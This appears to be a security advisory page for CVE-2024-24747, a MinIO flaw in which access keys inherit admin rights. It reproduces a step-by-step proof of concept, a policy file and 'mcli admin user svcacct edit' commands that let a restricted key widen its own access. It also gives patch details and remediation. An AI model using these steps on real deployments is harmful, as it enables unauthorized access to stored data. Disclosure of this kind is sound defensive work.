CVE-2024-24747: MinIO unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation

Published Jan 31, 2024
·
Updated

Summary When someone creates an access key, it inherits the permissions of the parent key. Not only for s3: actions, but also admin: actions. Which means unless somewhere above in the access-key hierarchy, the admin rights are denied, access keys will be able to simply override their own s3 permissions to something more permissive.

Credit to @xSke for sort of accidentally discovering this. I only understood the implications.

Details / PoC We spun up the latest version of minio in a docker container and signed in to the admin UI using the minio root user. We created two buckets, public and private and created an access key called mycat and attached the following policy to only allow access to the bucket called public.

json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:" ], "Resource": [ "arn:aws:s3:::public", "arn:aws:s3:::public/" ] } ] } We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute

And checked whether policy works: A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B public/ Looks good, we believe this is how 99% of users will work with access policies.

If I now create a file full-access-policy.json: json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:" ], "Resource": [ "arn:aws:s3:::" ] } ] } And then:

sh A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat Edited service account mycat successfully. mycat has escalated its privileges to get access to the entire deployment: sh A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B private/ [0001-01-01 00:53:28 LMT] 0B public/

Impact A trivial privilege escalation unless the operator fully understands that they need to explicitly deny admin actions on access keys.

Patched

commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master) Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Jan 31 10:56:45 2024 -0800

fix: permission checks for editing access keys (#18928) With this change, only a user with UpdateServiceAccountAdminAction permission is able to edit access keys. We would like to let a user edit their own access keys, however the feature needs to be re-designed for better security and integration with external systems like AD/LDAP and OpenID. This change prevents privilege escalation via service accounts.

Other sources

MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for s3: actions, but also admin: actions. Which means unless somewhere above in the access-key hierarchy, the admin rights are denied, access keys will be able to simply override their own s3 permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.

MITRE

Credit

Jenson Zhao

Affected Software

2 affected componentsFixes available
go/github.com/minio/minio<0.0.0-20240131185645-0ae4915a9391
0.0.0-20240131185645-0ae4915a9391
MinIO=2024-01-31t20-20-33z

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/minio/minio to a version that resolves this vulnerability.

    Fixed in 0.0.0-20240131185645-0ae4915a9391
  2. Upgrade

    Upgrade minio to a version that resolves this vulnerability.

    Fixed in RELEASE.2024-01-31T20-20-33Z
  3. Configuration

    Update MinIO so that editing access keys enforces the fix referenced as “permission checks for editing access keys (#18928)”, preventing privilege escalation from service accounts (including escalation from overriding s3 permissions to admin:* actions).

    MinIO service accounts / access policies permission checks for editing access keys = #18928

Event History

Jan 31, 2024
CVE Published
via MITRE·10:10 PM
Data Sourced
via MITRE·10:10 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Feb 1, 2024
Advisory Published
via GitHub·07:21 PM
Apr 12, 2024
Exploit Published
via ExploitDB·12:00 AM
Known Exploited
via ExploitDB·12:00 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-24747?

CVE-2024-24747 has a high severity rating due to the potential for unauthorized access to admin actions.

2

How do I fix CVE-2024-24747?

To fix CVE-2024-24747, ensure that appropriate permissions are set to deny admin rights in the access key hierarchy.

3

Which versions of MinIO are affected by CVE-2024-24747?

CVE-2024-24747 affects MinIO versions prior to 0.0.0-20240131185645-0ae4915a9391 and 2024-01-31T20-20-33Z.

4

What are the implications of CVE-2024-24747 for access key management?

CVE-2024-24747 implies that access keys can inherit overly permissive privileges, leading to potential security risks.

5

Is CVE-2024-24747 related to S3 actions?

Yes, CVE-2024-24747 involves access keys that inherit permissions for both S3 and admin actions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203